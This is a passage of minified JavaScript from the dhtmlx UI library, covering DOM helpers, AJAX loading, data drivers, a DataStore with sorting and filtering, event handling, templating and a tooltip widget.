a;if(dhtmlx._isOpera){a=\"-o-\"}else{a=\"\";if(dhtmlx._isFF){a=\"-moz-\"}if(dhtmlx._isWebKit){a=\"-webkit-\"}}return a})();dhtmlx.env.svg=(function(){return document.implementation.hasFeature(\"http://www.w3.org/TR/SVG11/feature#BasicStructure\",\"1.1\")})();dhtmlx.zIndex={drag:10000};dhtmlx.html={create:function(c,a,e){a=a||{};var g=document.createElement(c);for(var h in a){g.setAttribute(h,a[h])}if(a.style){g.style.cssText=a.style}if(a[\"class\"]){g.className=a[\"class\"]}if(e){g.innerHTML=e}return g},getValue:function(a){a=dhtmlx.toNode(a);if(!a){return\"\"}return dhtmlx.isNotDefined(a.value)?a.innerHTML:a.value},remove:function(c){if(c instanceof Array){for(var a=0;a<c.length;a++){this.remove(c[a])}}else{if(c&&c.parentNode){c.parentNode.removeChild(c)}}},insertBefore:function(c,e,a){if(!c){return}if(e){e.parentNode.insertBefore(c,e)}else{a.appendChild(c)}},locate:function(c,h){c=c||event;var a=c.target||c.srcElement;while(a){if(a.getAttribute){var g=a.getAttribute(h);if(g){return g}}a=a.parentNode}return null},offset:function(g){if(g.getBoundingClientRect){var m=g.getBoundingClientRect();var n=document.body;var c=document.documentElement;var a=window.pageYOffset||c.scrollTop||n.scrollTop;var h=window.pageXOffset||c.scrollLeft||n.scrollLeft;var l=c.clientTop||n.clientTop||0;var o=c.clientLeft||n.clientLeft||0;var q=m.top+a-l;var e=m.left+h-o;return{y:Math.round(q),x:Math.round(e)}}else{var q=0,e=0;while(g){q=q+parseInt(g.offsetTop,10);e=e+parseInt(g.offsetLeft,10);g=g.offsetParent}return{y:q,x:e}}},pos:function(a){a=a||event;if(a.pageX||a.pageY){return{x:a.pageX,y:a.pageY}}var c=((dhtmlx._isIE)&&(document.compatMode!=\"BackCompat\"))?document.documentElement:document.body;return{x:a.clientX+c.scrollLeft-c.clientLeft,y:a.clientY+c.scrollTop-c.clientTop}},preventEvent:function(a){if(a&&a.preventDefault){a.preventDefault()}dhtmlx.html.stopEvent(a)},stopEvent:function(a){(a||event).cancelBubble=true;return false},addCss:function(c,a){c.className+=\" \"+a},removeCss:function(c,a){c.className=c.className.replace(RegExp(a,\"g\"),\"\")}};(function(){var a=document.getElementsByTagName(\"SCRIPT\");dhtmlx.assert(a.length,\"Can't locate codebase\");if(a.length){a=(a[a.length-1].getAttribute(\"src\")||\"\").split(\"/\");a.splice(a.length-1,1);dhtmlx.codebase=a.slice(0,a.length).join(\"/\")+\"/\"}})();if(!dhtmlx.ui){dhtmlx.ui={}}dhtmlx.Destruction={_init:function(){dhtmlx.destructors.push(this)},destructor:function(){this.destructor=function(){};this._htmlmap=null;this._htmlrows=null;if(this._html){document.body.appendChild(this._html)}this._html=null;if(this._obj){this._obj.innerHTML=\"\";this._obj._htmlmap=null}this._obj=this._dataobj=null;this.data=null;this._events=this._handlers={};if(this.render){this.render=function(){}}}};dhtmlx.destructors=[];dhtmlx.event(window,\"unload\",function(){if(dhtmlx.destructors){for(var e=0;e<dhtmlx.destructors.length;e++){dhtmlx.destructors[e].destructor()}dhtmlx.destructors=[]}for(var c in dhtmlx._events){var g=dhtmlx._events[c];if(g[0].removeEventListener){g[0].removeEventListener(g[1],g[2],false)}else{if(g[0].detachEvent){g[0].detachEvent(\"on\"+g[1],g[2])}}delete dhtmlx._events[c]}});dhtmlx.ajax=function(a,c,e){if(arguments.length!==0){var g=new dhtmlx.ajax();if(e){g.master=e}g.get(a,null,c)}if(!this.getXHR){return new dhtmlx.ajax()}return this};dhtmlx.ajax.prototype={getXHR:function(){if(dhtmlx._isIE){return new ActiveXObject(\"Microsoft.xmlHTTP\")}else{return new XMLHttpRequest()}},send:function(h,o,m){var c=this.getXHR();if(typeof m==\"function\"){m=[m]}if(typeof o==\"object\"){var l=[];for(var e in o){var n=o[e];if(n===null||n===dhtmlx.undefined){n=\"\"}l.push(e+\"=\"+encodeURIComponent(n))}o=l.join(\"&\")}if(o&&!this.post){h=h+(h.indexOf(\"?\")!=-1?\"&\":\"?\")+o;o=null}c.open(this.post?\"POST\":\"GET\",h,!this._sync);if(this.post){c.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\")}var g=this;c.onreadystatechange=function(){if(!c.readyState||c.readyState==4){if(m&&g){for(var a=0;a<m.length;a++){if(m[a]){m[a].call((g.master||g),c.responseText,c.responseXML,c)}}}g.master=null;m=g=null}};c.send(o||null);return c},get:function(a,e,c){this.post=false;return this.send(a,e,c)},post:function(a,e,c){this.post=true;return this.send(a,e,c)},sync:function(){this._sync=true;return this}};dhtmlx.AtomDataLoader={_init:function(a){this.data={};if(a){this._settings.datatype=a.datatype||\"json\";this._after_init.push(this._load_when_ready)}},_load_when_ready:function(){this._ready_for_data=true;if(this._settings.url){this.url_setter(this._settings.url)}if(this._settings.data){this.data_setter(this._settings.data)}},url_setter:function(a){if(!this._ready_for_data){return a}this.load(a,this._settings.datatype);return a},data_setter:function(a){if(!this._ready_for_data){return a}this.parse(a,this._settings.datatype);return true},load:function(a,c){this.callEvent(\"onXLS\",[]);if(typeof c==\"string\"){this.data.driver=dhtmlx.DataDriver[c];c=arguments[2]}else{this.data.driver=dhtmlx.DataDriver.xml}dhtmlx.ajax(a,[this._onLoad,c],this)},parse:function(c,a){this.callEvent(\"onXLS\",[]);this.data.driver=dhtmlx.DataDriver[a||\"xml\"];this._onLoad(c,null)},_onLoad:function(h,c,a){var e=this.data.driver;var g=e.getRecords(e.toObject(h,c))[0];this.data=(e?e.getDetails(g):h);this.callEvent(\"onXLE\",[])},_check_data_feed:function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.callEvent(\"onXLS\",[]);dhtmlx.ajax(a,function(g,e){this._ignore_feed=true;this.setValues(dhtmlx.DataDriver.json.toObject(g)[0]);this._ignore_feed=false;this.callEvent(\"onXLE\",[])},this);return false}};dhtmlx.DataDriver={};dhtmlx.DataDriver.json={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data);return dhtmlx.temp}return data},getRecords:function(a){if(a&&!(a instanceof Array)){return[a]}return a},getDetails:function(a){return a},getInfo:function(a){return{_size:(a.total_count||0),_from:(a.pos||0),_key:(a.dhx_security)}}};dhtmlx.DataDriver.json_ext={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){var temp;eval(\"temp=\"+data);dhtmlx.temp=[];var header=temp.header;for(var i=0;i<temp.data.length;i++){var item={};for(var j=0;j<header.length;j++){if(typeof(temp.data[i][j])!=\"undefined\"){item[header[j]]=temp.data[i][j]}}dhtmlx.temp.push(item)}return dhtmlx.temp}return data},getRecords:function(a){if(a&&!(a instanceof Array)){return[a]}return a},getDetails:function(a){return a},getInfo:function(a){return{_size:(a.total_count||0),_from:(a.pos||0)}}};dhtmlx.DataDriver.html={toObject:function(c){if(typeof c==\"string\"){var a=null;if(c.indexOf(\"<\")==-1){a=dhtmlx.toNode(c)}if(!a){a=document.createElement(\"DIV\");a.innerHTML=c}return a.getElementsByTagName(this.tag)}return c},getRecords:function(a){if(a.tagName){return a.childNodes}return a},getDetails:function(a){return dhtmlx.DataDriver.xml.tagToObject(a)},getInfo:function(a){return{_size:0,_from:0}},tag:\"LI\"};dhtmlx.DataDriver.jsarray={toObject:function(data){if(typeof data==\"string\"){eval(\"dhtmlx.temp=\"+data);return dhtmlx.temp}return data},getRecords:function(a){return a},getDetails:function(e){var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}}};dhtmlx.DataDriver.csv={toObject:function(a){return a},getRecords:function(a){return a.split(this.row)},getDetails:function(e){e=this.stringToArray(e);var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}},stringToArray:function(c){c=c.split(this.cell);for(var a=0;a<c.length;a++){c[a]=c[a].replace(/^[ \\t\\n\\r]*(\\\"|)/g,\"\").replace(/(\\\"|)[ \\t\\n\\r]*$/g,\"\")}return c},row:\"\\n\",cell:\",\"};dhtmlx.DataDriver.xml={toObject:function(c,a){if(a&&(a=this.checkResponse(c,a))){return a}if(typeof c==\"string\"){return this.fromString(c)}return c},getRecords:function(a){return this.xpath(a,this.records)},records:\"/*/item\",getDetails:function(a){return this.tagToObject(a,{})},getInfo:function(a){return{_size:(a.documentElement.getAttribute(\"total_count\")||0),_from:(a.documentElement.getAttribute(\"pos\")||0),_key:(a.documentElement.getAttribute(\"dhx_security\"))}},xpath:function(h,q){if(window.XPathResult){var g=h;if(h.nodeName.indexOf(\"document\")==-1){h=h.ownerDocument}var n=[];var c=h.evaluate(q,g,null,XPathResult.ANY_TYPE,null);var o=c.iterateNext();while(o){n.push(o);o=c.iterateNext()}return n}else{var m=true;try{if(typeof(h.selectNodes)==\"undefined\"){m=false}}catch(l){}if(m){return h.selectNodes(q)}else{var a=q.split(\"/\").pop();return h.getElementsByTagName(a)}}},tagToObject:function(e,o){o=o||{};var h=false;var g=e.attributes;if(g&&g.length){for(var m=0;m<g.length;m++){o[g[m].name]=g[m].value}h=true}var c=e.childNodes;var n={};for(var m=0;m<c.length;m++){if(c[m].nodeType==1){var l=c[m].tagName;if(typeof o[l]!=\"undefined\"){if(!(o[l] instanceof Array)){o[l]=[o[l]]}o[l].push(this.tagToObject(c[m],{}))}else{o[c[m].tagName]=this.tagToObject(c[m],{})}h=true}}if(!h){return this.nodeValue(e)}o.value=this.nodeValue(e);return o},nodeValue:function(a){if(a.firstChild){return a.firstChild.wholeText||a.firstChild.data}return\"\"},fromString:function(c){if(window.DOMParser&&!dhtmlx._isIE){return(new DOMParser()).parseFromString(c,\"text/xml\")}if(window.ActiveXObject){var a=new ActiveXObject(\"Microsoft.xmlDOM\");a.loadXML(c);return a}dhtmlx.error(\"Load from xml string is not supported\")},checkResponse:function(g,e){if(e&&(e.firstChild&&e.firstChild.tagName!=\"parsererror\")){return e}var c=this.fromString(g.replace(/^[\\s]+/,\"\"));if(c){return c}dhtmlx.error(\"xml can't be parsed\",g)}};dhtmlx.DataLoader={_init:function(a){a=a||\"\";this.name=\"DataStore\";this.data=(a.datastore)||(new dhtmlx.DataStore());this._readyHandler=this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(this._call_onready,this))},load:function(a,c){dhtmlx.AtomDataLoader.load.apply(this,arguments);if(!this.data.feed){this.data.feed=function(g,e){if(this._load_count){return this._load_count=[g,e]}else{this._load_count=true}this.load(a+((a.indexOf(\"?\")==-1)?\"?\":\"&\")+\"posStart=\"+g+\"&count=\"+e,function(){var h=this._load_count;this._load_count=false;if(typeof h==\"object\"){this.data.feed.apply(this,h)}})}}},_onLoad:function(e,c,a){this.data._parse(this.data.driver.toObject(e,c));this.callEvent(\"onXLE\",[]);if(this._readyHandler){this.data.detachEvent(this._readyHandler);this._readyHandler=null}},dataFeed_setter:function(a){this.data.attachEvent(\"onBeforeFilter\",dhtmlx.bind(function(m,l){if(this._settings.dataFeed){var h={};if(!m&&!h){return}if(typeof m==\"function\"){if(!l){return}m(l,h)}else{h={text:l}}this.clearAll();var c=this._settings.dataFeed;if(typeof c==\"function\"){return c.call(this,l,h)}var g=[];for(var e in h){g.push(\"dhx_filter[\"+e+\"]=\"+encodeURIComponent(h[e]))}this.load(c+(c.indexOf(\"?\")<0?\"?\":\"&\")+g.join(\"&\"),this._settings.datatype);return false}},this));return a},_call_onready:function(){if(this._settings.ready){var a=dhtmlx.toFunctor(this._settings.ready);if(a&&a.call){a.apply(this,arguments)}}}};dhtmlx.DataStore=function(){this.name=\"DataStore\";dhtmlx.extend(this,dhtmlx.EventSystem);this.setDriver(\"xml\");this.pull={};this.order=dhtmlx.toArray()};dhtmlx.DataStore.prototype={setDriver:function(a){dhtmlx.assert(dhtmlx.DataDriver[a],\"incorrect DataDriver\");this.driver=dhtmlx.DataDriver[a]},_parse:function(h){this.callEvent(\"onParse\",[this.driver,h]);if(this._filter_order){this.filter()}var l=this.driver.getInfo(h);if(l._key){dhtmlx.security_key=l._key}var g=this.driver.getRecords(h);var n=(l._from||0)*1;if(n===0&&this.order[0]){n=this.order.length}var c=0;for(var e=0;e<g.length;e++){var a=this.driver.getDetails(g[e]);var m=this.id(a);if(!this.pull[m]){this.order[c+n]=m;c++}this.pull[m]=a;if(this.extraParser){this.extraParser(a)}if(this._scheme){if(this._scheme.$init){this._scheme.$update(a)}else{if(this._scheme.$update){this._scheme.$update(a)}}}}for(var e=0;e<l._size;e++){if(!this.order[e]){var m=dhtmlx.uid();var a={id:m,$template:\"loading\"};this.pull[m]=a;this.order[e]=m}}this.callEvent(\"onStoreLoad\",[this.driver,h]);this.refresh()},id:function(a){return a.id||(a.id=dhtmlx.uid())},changeId:function(c,a){dhtmlx.assert(this.pull[c],\"Can't change id, for non existing item: \"+c);this.pull[a]=this.pull[c];this.pull[a].id=a;this.order[this.order.find(c)]=a;if(this._filter_order){this._filter_order[this._filter_order.find(c)]=a}this.callEvent(\"onIdChange\",[c,a]);if(this._render_change_id){this._render_change_id(c,a)}},get:function(a){return this.item(a)},set:function(c,a){return this.update(c,a)},item:function(a){return this.pull[a]},update:function(c,a){if(this._scheme&&this._scheme.$update){this._scheme.$update(a)}if(this.callEvent(\"onBeforeUpdate\",[c,a])===false){return false}this.pull[c]=a;this.refresh(c)},refresh:function(a){if(this._skip_refresh){return}if(a){this.callEvent(\"onStoreUpdated\",[a,this.pull[a],\"update\"])}else{this.callEvent(\"onStoreUpdated\",[null,null,null])}},silent:function(a){this._skip_refresh=true;a.call(this);this._skip_refresh=false},getRange:function(g,e){if(g){g=this.indexById(g)}else{g=this.startOffset||0}if(e){e=this.indexById(e)}else{e=Math.min((this.endOffset||Infinity),(this.dataCount()-1));if(e<0){e=0}}if(g>e){var c=e;e=g;g=c}return this.getIndexRange(g,e)},getIndexRange:function(g,e){e=Math.min((e||Infinity),this.dataCount()-1);var a=dhtmlx.toArray();for(var c=(g||0);c<=e;c++){a.push(this.item(this.order[c]))}return a},dataCount:function(){return this.order.length},exists:function(a){return !!(this.pull[a])},move:function(a,g){if(a<0||g<0){dhtmlx.error(\"DataStore::move\",\"Incorrect indexes\");return}var e=this.idByIndex(a);var c=this.item(e);this.order.removeAt(a);this.order.insertAt(e,Math.min(this.order.length,g));this.callEvent(\"onStoreUpdated\",[e,c,\"move\"])},scheme:function(a){this._scheme=a},sync:function(h,g,a){if(typeof g!=\"function\"){a=g;g=null}if(dhtmlx.debug_bind){this.debug_sync_master=h;dhtmlx.log(\"[sync] \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id+\" <= \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id)}var e=h;if(h.name!=\"DataStore\"){h=h.data}var c=dhtmlx.bind(function(n,l,m){if(m!=\"update\"||g){n=null}if(!n){this.order=dhtmlx.toArray([].concat(h.order));this._filter_order=null;this.pull=h.pull;if(g){this.silent(g)}if(this._on_sync){this._on_sync()}}if(dhtmlx.debug_bind){dhtmlx.log(\"[sync:request] \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id+\" <= \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id)}if(!a){this.refresh(n)}else{a=false}},this);h.attachEvent(\"onStoreUpdated\",c);this.feed=function(m,l){e.loadNext(l,m)};c()},add:function(h,a){if(this._scheme){h=h||{};for(var c in this._scheme){h[c]=h[c]||this._scheme[c]}if(this._scheme){if(this._scheme.$init){this._scheme.$update(h)}else{if(this._scheme.$update){this._scheme.$update(h)}}}}var l=this.id(h);var g=this.dataCount();if(dhtmlx.isNotDefined(a)||a<0){a=g}if(a>g){dhtmlx.log(\"Warning\",\"DataStore:add\",\"Index of out of bounds\");a=Math.min(this.order.length,a)}if(this.callEvent(\"onBeforeAdd\",[l,h,a])===false){return false}if(this.exists(l)){return dhtmlx.error(\"Not unique ID\")}this.pull[l]=h;this.order.insertAt(l,a);if(this._filter_order){var e=this._filter_order.length;if(!a&&this.order.length){e=0}this._filter_order.insertAt(l,e)}this.callEvent(\"onafterAdd\",[l,a]);this.callEvent(\"onStoreUpdated\",[l,h,\"add\"]);return l},remove:function(e){if(e instanceof Array){for(var a=0;a<e.length;a++){this.remove(e[a])}return}if(this.callEvent(\"onBeforeDelete\",[e])===false){return false}if(!this.exists(e)){return dhtmlx.error(\"Not existing ID\",e)}var c=this.item(e);this.order.remove(e);if(this._filter_order){this._filter_order.remove(e)}delete this.pull[e];this.callEvent(\"onafterdelete\",[e]);this.callEvent(\"onStoreUpdated\",[e,c,\"delete\"])},clearAll:function(){this.pull={};this.order=dhtmlx.toArray();this.feed=null;this._filter_order=null;this.callEvent(\"onClearAll\",[]);this.refresh()},idByIndex:function(a){if(a>=this.order.length||a<0){dhtmlx.log(\"Warning\",\"DataStore::idByIndex Incorrect index\")}return this.order[a]},indexById:function(c){var a=this.order.find(c);return a},next:function(c,a){return this.order[this.indexById(c)+(a||1)]},first:function(){return this.order[0]},last:function(){return this.order[this.order.length-1]},previous:function(c,a){return this.order[this.indexById(c)-(a||1)]},sort:function(l,c,a){var e=l;if(typeof l==\"function\"){e={as:l,dir:c}}else{if(typeof l==\"string\"){e={by:l,dir:c,as:a}}}var h=[e.by,e.dir,e.as];if(!this.callEvent(\"onbeforesort\",h)){return}if(this.order.length){var m=dhtmlx.sort.create(e);var g=this.getRange(this.first(),this.last());g.sort(m);this.order=g.map(function(n){return this.id(n)},this)}this.refresh();this.callEvent(\"onaftersort\",h)},filter:function(h,g){if(!this.callEvent(\"onBeforeFilter\",[h,g])){return}if(this._filter_order){this.order=this._filter_order;delete this._filter_order}if(!this.order.length){return}if(h){var c=h;g=g||\"\";if(typeof h==\"string\"){h=dhtmlx.Template.fromHTML(h);g=g.toString().toLowerCase();c=function(n,m){return h(n).toLowerCase().indexOf(m)!=-1}}var e=dhtmlx.toArray();for(var a=0;a<this.order.length;a++){var l=this.order[a];if(c(this.item(l),g)){e.push(l)}}this._filter_order=this.order;this.order=e}this.refresh();this.callEvent(\"onAfterFilter\",[])},each:function(e,c){for(var a=0;a<this.order.length;a++){e.call((c||this),this.item(this.order[a]))}},provideApi:function(g,c){this.debug_bind_master=g;if(c){this.mapEvent({onbeforesort:g,onaftersort:g,onbeforeadd:g,onafteradd:g,onbeforedelete:g,onafterdelete:g,onbeforeupdate:g})}var e=[\"get\",\"set\",\"sort\",\"add\",\"remove\",\"exists\",\"idByIndex\",\"indexById\",\"item\",\"update\",\"refresh\",\"dataCount\",\"filter\",\"next\",\"previous\",\"clearAll\",\"first\",\"last\",\"serialize\"];for(var a=0;a<e.length;a++){g[e[a]]=dhtmlx.methodPush(this,e[a])}if(dhtmlx.assert_enabled()){this.assert_event(g)}},serialize:function(){var e=this.order;var a=[];for(var c=0;c<e.length;c++){a.push(this.pull[e[c]])}return a}};dhtmlx.sort={create:function(a){return dhtmlx.sort.dir(a.dir,dhtmlx.sort.by(a.by,a.as))},as:{\"int\":function(e,c){e=e*1;c=c*1;return e>c?1:(e<c?-1:0)},string_strict:function(e,c){e=e.toString();c=c.toString();return e>c?1:(e<c?-1:0)},string:function(e,c){e=e.toString().toLowerCase();c=c.toString().toLowerCase();return e>c?1:(e<c?-1:0)}},by:function(c,a){if(!c){return a}if(typeof a!=\"function\"){a=dhtmlx.sort.as[a||\"string\"]}c=dhtmlx.Template.fromHTML(c);return function(g,e){return a(c(g),c(e))}},dir:function(c,a){if(c==\"asc\"){return a}return function(g,e){return a(g,e)*-1}}};dhtmlx.KeyEvents={_init:function(){dhtmlx.event(this._obj,\"keypress\",this._onKeyPress,this)},_onKeyPress:function(c){c=c||event;var a=c.which||c.keyCode;this.callEvent((this._edit_id?\"onEditKeyPress\":\"onKeyPress\"),[a,c.ctrlKey,c.shiftKey,c])}};dhtmlx.MouseEvents={_init:function(){if(this.on_click){dhtmlx.event(this._obj,\"click\",this._onClick,this);dhtmlx.event(this._obj,\"contextmenu\",this._onContext,this)}if(this.on_dblclick){dhtmlx.event(this._obj,\"dblclick\",this._onDblClick,this)}if(this.on_mouse_move){dhtmlx.event(this._obj,\"mousemove\",this._onMouse,this);dhtmlx.event(this._obj,(dhtmlx._isIE?\"mouseleave\":\"mouseout\"),this._onMouse,this)}},_onClick:function(a){return this._mouseEvent(a,this.on_click,\"ItemClick\")},_onDblClick:function(a){return this._mouseEvent(a,this.on_dblclick,\"ItemDblClick\")},_onContext:function(a){var c=dhtmlx.html.locate(a,this._id);if(c&&!this.callEvent(\"onBeforeContextMenu\",[c,a])){return dhtmlx.html.preventEvent(a)}},_onMouse:function(a){if(dhtmlx._isIE){a=document.createEventObject(event)}if(this._mouse_move_timer){window.clearTimeout(this._mouse_move_timer)}this.callEvent(\"onMouseMoving\",[a]);this._mouse_move_timer=window.setTimeout(dhtmlx.bind(function(){if(a.type==\"mousemove\"){this._onMouseMove(a)}else{this._onMouseOut(a)}},this),500)},_onMouseMove:function(a){if(!this._mouseEvent(a,this.on_mouse_move,\"MouseMove\")){this.callEvent(\"onMouseOut\",[a||event])}},_onMouseOut:function(a){this.callEvent(\"onMouseOut\",[a||event])},_mouseEvent:function(m,l,c){m=m||event;var a=m.target||m.srcElement;var g=\"\";var n=null;var h=false;while(a&&a.parentNode){if(!h&&a.getAttribute){n=a.getAttribute(this._id);if(n){if(a.getAttribute(\"userdata\")){this.callEvent(\"onLocateData\",[n,a])}if(!this.callEvent(\"on\"+c,[n,m,a])){return}h=true}}g=a.className;if(g){g=g.split(\" \");g=g[0]||g[1];if(l[g]){return l[g].call(this,m,n||dhtmlx.html.locate(m,this._id),a)}}a=a.parentNode}return h}};dhtmlx.Settings={_init:function(){this._settings=this.config={}},define:function(c,a){if(typeof c==\"object\"){return this._parseSeetingColl(c)}return this._define(c,a)},_define:function(c,a){dhtmlx.assert_settings.call(this,c,a);var e=this[c+\"_setter\"];return this._settings[c]=e?e.call(this,a):a},_parseSeetingColl:function(e){if(e){for(var c in e){this._define(c,e[c])}}},_parseSettings:function(e,a){var c=dhtmlx.extend({},a);if(typeof e==\"object\"&&!e.tagName){dhtmlx.extend(c,e)}this._parseSeetingColl(c)},_mergeSettings:function(a,e){for(var c in e){switch(typeof a[c]){case\"object\":a[c]=this._mergeSettings((a[c]||{}),e[c]);break;case\"undefined\":a[c]=e[c];break;default:break}}return a},_parseContainer:function(c,a,e){if(typeof c==\"object\"&&!c.tagName){c=c.container}this._obj=this.$view=dhtmlx.toNode(c);if(!this._obj&&e){this._obj=e(c)}dhtmlx.assert(this._obj,\"Incorrect html container\");this._obj.className+=\" \"+a;this._obj.onselectstart=function(){return false};this._dataobj=this._obj},_set_type:function(a){if(typeof a==\"object\"){return this.type_setter(a)}dhtmlx.assert(this.types,\"RenderStack :: Types are not defined\");dhtmlx.assert(this.types[a],\"RenderStack :: Inccorect type name\",a);this.type=dhtmlx.extend({},this.types[a]);this.customize()},customize:function(a){if(a){dhtmlx.extend(this.type,a)}this.type._item_start=dhtmlx.Template.fromHTML(this.template_item_start(this.type));this.type._item_end=this.template_item_end(this.type);this.render()},type_setter:function(a){this._set_type(typeof a==\"object\"?dhtmlx.Type.add(this,a):a);return a},template_setter:function(a){return this.type_setter({template:a})},css_setter:function(a){this._obj.className+=\" \"+a;return a}};dhtmlx.Template={_cache:{},empty:function(){return\"\"},setter:function(a){return dhtmlx.Template.fromHTML(a)},obj_setter:function(c){var a=dhtmlx.Template.setter(c);var e=this;return function(){return a.apply(e,arguments)}},fromHTML:function(a){if(typeof a==\"function\"){return a}if(this._cache[a]){return this._cache[a]}a=(a||\"\").toString();a=a.replace(/[\\r\\n]+/g,\"\\\\n\");a=a.replace(/\\{obj\\.([^}?]+)\\?([^:]*):([^}]*)\\}/g,'\"+(obj.$1?\"$2\":\"$3\")+\"');a=a.replace(/\\{common\\.([^}\\(]*)\\}/g,'\"+common.$1+\"');a=a.replace(/\\{common\\.([^\\}\\(]*)\\(\\)\\}/g,'\"+(common.$1?common.$1(obj):\"\")+\"');a=a.replace(/\\{obj\\.([^}]*)\\}/g,'\"+obj.$1+\"');a=a.replace(/#([a-z0-9_]+)#/gi,'\"+obj.$1+\"');a=a.replace(/\\{obj\\}/g,'\"+obj+\"');a=a.replace(/\\{-obj/g,\"{obj\");a=a.replace(/\\{-common/g,\"{common\");a='return \"'+a+'\";';return this._cache[a]=Function(\"obj\",\"common\",a)}};dhtmlx.Type={add:function(e,c){if(!e.types&&e.prototype.types){e=e.prototype}if(dhtmlx.assert_enabled()){this.assert_event(c)}var a=c.name||\"default\";this._template(c);this._template(c,\"edit\");this._template(c,\"loading\");e.types[a]=dhtmlx.extend(dhtmlx.extend({},(e.types[a]||this._default)),c);return a},_default:{css:\"default\",template:function(){return\"\"},template_edit:function(){return\"\"},template_loading:function(){return\"...\"},width:150,height:80,margin:5,padding:0},_template:function(e,a){a=\"template\"+(a?(\"_\"+a):\"\");var c=e[a];if(c&&(typeof c==\"string\")){if(c.indexOf(\"->\")!=-1){c=c.split(\"->\");switch(c[0]){case\"html\":c=dhtmlx.html.getValue(c[1]).replace(/\\\"/g,'\\\\\"');break;case\"http\":c=new dhtmlx.ajax().sync().get(c[1],{uid:(new Date()).valueOf()}).responseText;break;default:break}}e[a]=dhtmlx.Template.fromHTML(c)}}};dhtmlx.SingleRender={_init:function(){},_toHTML:function(a){return this.type._item_start(a,this.type)+this.type.template(a,this.type)+this.type._item_end},render:function(){if(!this.callEvent||this.callEvent(\"onBeforeRender\",[this.data])){if(this.data){this._dataobj.innerHTML=this._toHTML(this.data)}if(this.callEvent){this.callEvent(\"onAfterRender\",[])}}}};dhtmlx.ui.Tooltip=function(a){this.name=\"Tooltip\";if(dhtmlx.assert_enabled()){this._assert()}if(typeof a==\"string\"){a={template:a}}dhtmlx.extend(this,dhtmlx.Settings);dhtmlx.extend(this,dhtmlx.SingleRender);this._parseSettings(a,{type:\"default\",dy:0,dx:20});this._dataobj=this._obj=document.createElement(\"DIV\");this._obj.className=\"dhx_tooltip\";dhtmlx.html.insertBefore(this._obj,document.body.firstChild)};dhtmlx.ui.Tooltip.prototype={show:function(a,c){if(this._disabled){return}if(this.data!=a){this.data=a;this.render(a)}this._obj.style.top=c.y+this._settings.dy+\"px\";this._obj.style.left=c.x+this._settings.dx+\"px\";this._obj.style.display=\"block\"},hide:function(){this.data=null;this._obj.style.display=\"none\"},disable:function(){this._disabled=true},enable:function(){this._disabled=false},types:{\"default\":dhtmlx.Template.fromHTML(\"{obj.id}\")},template_item_start:dhtmlx.Template.empty,template_item_end:dhtmlx.Template.empty};dhtmlx.AutoTooltip={tooltip_setter:function(c){var a=new dhtmlx.ui.Tooltip(c);this.attachEvent(\"onMouseMove\",function(h,g){a.show(this.get(h),dhtmlx.html.pos(g))});this.attachEvent(\"onMouseOut\",function(h,g){a.hide()});this.attachEvent(\"onMouseMoving\",function(h,g){a.hide()});return a}};dhtmlx.compat=function(a,c){if(dhtmlx.compat[a]){dhtmlx.compat[a](c)}};if(!dhtmlx.attaches){dhtmlx.attaches={}}dhtmlx.attaches.attachAbstract=function(c,a){var h=document.createElement(\"DIV\");h.id=\"CustomObject_\"+dhtmlx.uid();h.style.width=\"100%\";h.style.height=\"100%\";h.cmp=\"grid\";document.body.appendChild(h);this.attachObject(h.id);a.container=h.id;var g=this.vs[this.av];g.grid=new window[c](a);g.gridId=h.id;g.gridObj=h;g.grid.setSizes=function(){if(this.resize){this.resize()}else{this.render()}};var e=\"_viewRestore\";return this.vs[this[e]()].grid};dhtmlx.attaches.attachDataView=function(a){return this.attachAbstract(\"dhtmlXDataView\",a)};dhtmlx.attaches.attachChart=function(a){return this.attachAbstract(\"dhtmlXChart\",a)};dhtmlx.compat.layout=function(){};function dhtmlXCellObject(e,a){this.cell=document.createElement(\"DIV\");this.cell.className=\"dhx_cell\"+(a||\"\");this._idd=e;this._isCell=true;this.conf={borders:true,idx:{},css:a||\"\",idx_data:{cont:\"dhx_cell_cont\",pr1:\"dhx_cell_progress_bar\",pr2:\"dhx_cell_progress_img\",menu:\"dhx_cell_menu\",toolbar:\"dhx_cell_toolbar\",ribbon:\"dhx_cell_ribbon\",sb:\"dhx_cell_statusbar\",cover:\"dhx_cell_cover\"},ofs_nodes:{t:{},b:{}}};this.dataNodes={};this.views={};var c=document.createElement(\"DIV\");c.className=\"dhx_cell_cont\"+this.conf.css;this.cell.appendChild(c);c=null;this._updateIdx=function(){for(var g in this.conf.idx){this.conf.idx[g]=null;delete this.conf.idx[g]}for(var m=0;m<this.cell.childNodes.length;m++){var h=this.cell.childNodes[m].className;for(var g in this.conf.idx_data){var l=new RegExp(this.conf.idx_data[g]);if(h.match(l)!=null){this.conf.idx[g]=m}}}this.callEvent(\"_onIdxUpdated\",[])};this._adjustAttached=function(){for(var g in this.dataNodes){if(this.dataNodes[g]!=null&&typeof(this.dataNodes[g].setSizes)==\"function\"){this.dataNodes[g].setSizes()}}if(this.dataObj!=null&&typeof(this.dataObj.setSizes)==\"function\"){if(this.dataType==\"layout\"&&typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&this instanceof window.dhtmlXLayoutCell&&this.dataObj._getMainInst()!=this.layout._getMainInst()){this.dataObj.setSizes();return}this.dataObj.setSizes.apply(this.dataObj,arguments)}};this._setSize=function(u,r,v,n,o,q,l,m){if(this.conf.size==null){this.conf.size={}}if(m==null){m={}}var 